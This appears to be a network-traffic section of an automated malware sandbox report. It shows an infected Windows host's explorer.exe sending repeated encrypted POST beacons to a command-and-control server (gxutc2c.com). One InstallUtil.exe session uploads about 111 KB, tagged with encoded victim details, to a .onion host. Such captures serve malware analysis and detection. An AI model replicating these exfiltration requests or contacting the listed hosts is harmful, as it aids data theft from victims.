Jan 7, 2024 05:30:39.163790941 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49796	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:39.436508894 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uvkhejoinmlfb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: gxutc2c.com
Jan 7, 2024 05:30:39.436618090 CET	339	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 56 4a ee bd Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vuVJVO{NncW3dk$s:m6Tf!]J{(;7hSZTd RzdY^!kyWG2<j"gW/>
Jan 7, 2024 05:30:39.836296082 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49799	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:40.188584089 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://skysuydpgasd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 362 Host: gxutc2c.com
Jan 7, 2024 05:30:40.188623905 CET	362	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 71 2a a8 ec Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vuq*y\C`xYfA'n,lk]8\|luJKQL;bYX?7MeCHv\|+.-Jj:fwuG55.c ~CE
Jan 7, 2024 05:30:40.602292061 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:40 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49800	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:40.934808969 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ylfmtobnffbq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 343 Host: gxutc2c.com
Jan 7, 2024 05:30:40.934874058 CET	343	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 43 3b c7 e7 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vuC;\|PAwJQ;{l\H~>fbRHXO`IWQ*ZCMbFAG><Q(4)gI@l4C1Q.1y
Jan 7, 2024 05:30:41.333503962 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49801	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:41.603909016 CET	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jpxwajpdnkogimiw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 366 Host: gxutc2c.com
Jan 7, 2024 05:30:41.603956938 CET	366	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 3a 5a fa a2 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu:Zo9wGc[[.a:{U+#V\:e1"N[qy\|<-#GEcX2*n{y_H7uOB-%bfgh(,Qq
Jan 7, 2024 05:30:42.000166893 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49802	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:42.333280087 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ctvxrapgisc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 281 Host: gxutc2c.com
Jan 7, 2024 05:30:42.333316088 CET	281	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 3a 2f fa b5 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu:/cRRnaFMV0~5I[4EDN-F=aaIdlKk)D3F<X!?AJx[lWna~
Jan 7, 2024 05:30:42.723196983 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49803	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:42.986514091 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ictpimjqevsiiw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 367 Host: gxutc2c.com
Jan 7, 2024 05:30:42.986514091 CET	367	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 75 2d fd 90 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vuu-ueFv>Wn$#v-!CV#7hHLAjN+j)b?!@CjD_oxj^^"j8VW\z
Jan 7, 2024 05:30:43.403824091 CET	238	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:30:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49804	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:43.665229082 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wjbrgmaqxdg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: gxutc2c.com
Jan 7, 2024 05:30:43.665256023 CET	205	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 45 52 f1 b7 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vuERMxE\|]P$3-V]0gR1jFUBIM&)@PDN9q7WAO.$tz7S
Jan 7, 2024 05:30:44.063977003 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49805	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:44.307847977 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oeuarjhscgtxb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 185 Host: gxutc2c.com
Jan 7, 2024 05:30:44.307847977 CET	185	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 7d 45 ab e9 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu}EkI95kWK+wE)ph`Q5p-4Y9O\|9kOj9O#
Jan 7, 2024 05:30:44.665195942 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49797	195.66.87.105	8990	5544	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:44.716809034 CET	304	OUT	POST /stld/ef0e6c9136fd4b779a75726a388c8439?u=am9uZXM%3D&p=ODMwMDIx&i=MTkxLjk2LjIyNy4xNzY%3D&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=TmV3IFlvcms%3D&t=RGVmYXVsdA%3D%3D HTTP/1.1Host: izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onionContent-Length: 111600Expect: 100-continueConnection: Keep-Alive Data Raw: Data Ascii:
Jan 7, 2024 05:30:45.310753107 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2024 05:30:45.395977974 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49807	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:44.918147087 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kmjcixwafidrft.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 265 Host: gxutc2c.com
